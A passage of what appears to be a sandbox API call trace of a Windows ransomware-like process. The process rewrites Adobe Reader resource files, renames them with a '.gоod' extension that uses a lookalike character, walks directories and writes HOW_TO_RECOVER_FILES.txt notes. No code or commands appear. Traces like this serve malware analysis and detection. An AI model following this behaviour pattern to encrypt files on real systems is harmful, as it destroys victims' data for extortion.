lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x28f1c [0102.742] WriteFile (in: hFile=0x6e4, lpBuffer=0x34b5de0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x34b5de0*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0102.749] CloseHandle (hObject=0x6e4) returned 1 [0102.749] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", lpFilePart=0x0) returned 0x60 [0102.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.750] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.750] GetFileType (hFile=0x6e4) returned 0x1 [0102.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.750] GetFileType (hFile=0x6e4) returned 0x1 [0102.750] ReadFile (in: hFile=0x6e4, lpBuffer=0x34cc988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x34cc988*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0102.915] CloseHandle (hObject=0x6e4) returned 1 [0102.915] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", lpFilePart=0x0) returned 0x60 [0102.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0102.915] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0102.916] GetFileType (hFile=0x6e4) returned 0x1 [0102.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0102.916] GetFileType (hFile=0x6e4) returned 0x1 [0102.916] WriteFile (in: hFile=0x6e4, lpBuffer=0x34cb6b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x34cb6b0*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0102.916] CloseHandle (hObject=0x6e4) returned 1 [0102.916] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css", lpFilePart=0x0) returned 0x60 [0102.916] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css.gоod", lpFilePart=0x0) returned 0x65 [0102.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0102.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x398dc473, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x28f2c)) returned 1 [0102.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0102.916] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main.css.gоod")) returned 1 [0102.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0102.917] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app", lpFilePart=0x0) returned 0x5b [0102.917] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.287] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.310] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0103.310] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0103.310] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0103.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0103.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0103.310] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app", lpFilePart=0x0) returned 0x5b [0103.310] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.311] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.311] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0103.311] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.311] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0103.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0103.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0103.311] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev", lpFilePart=0x0) returned 0x5f [0103.311] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.312] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.312] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1 [0103.312] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0103.312] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0103.312] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0103.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0103.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0103.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev", lpFilePart=0x0) returned 0x5f [0103.313] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1 [0103.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0103.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.313] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0103.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0103.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef", lpFilePart=0x0) returned 0x63 [0103.314] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.314] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.315] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.315] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef", lpFilePart=0x0) returned 0x63 [0103.315] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.315] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.315] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.315] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.315] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdea270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7c [0103.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea790) returned 1 [0103.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\app\\dev\\cef\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6bc [0103.316] GetFileType (hFile=0x6bc) returned 0x1 [0103.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea700) returned 1 [0103.316] GetFileType (hFile=0x6bc) returned 0x1 [0103.317] WriteFile (in: hFile=0x6bc, lpBuffer=0x35c2730*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdea858, lpOverlapped=0x0 | out: lpBuffer=0x35c2730*, lpNumberOfBytesWritten=0x1fdea858*=0x5d0, lpOverlapped=0x0) returned 1 [0103.318] CloseHandle (hObject=0x6bc) returned 1 [0103.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs", lpFilePart=0x0) returned 0x64 [0103.318] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.318] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, 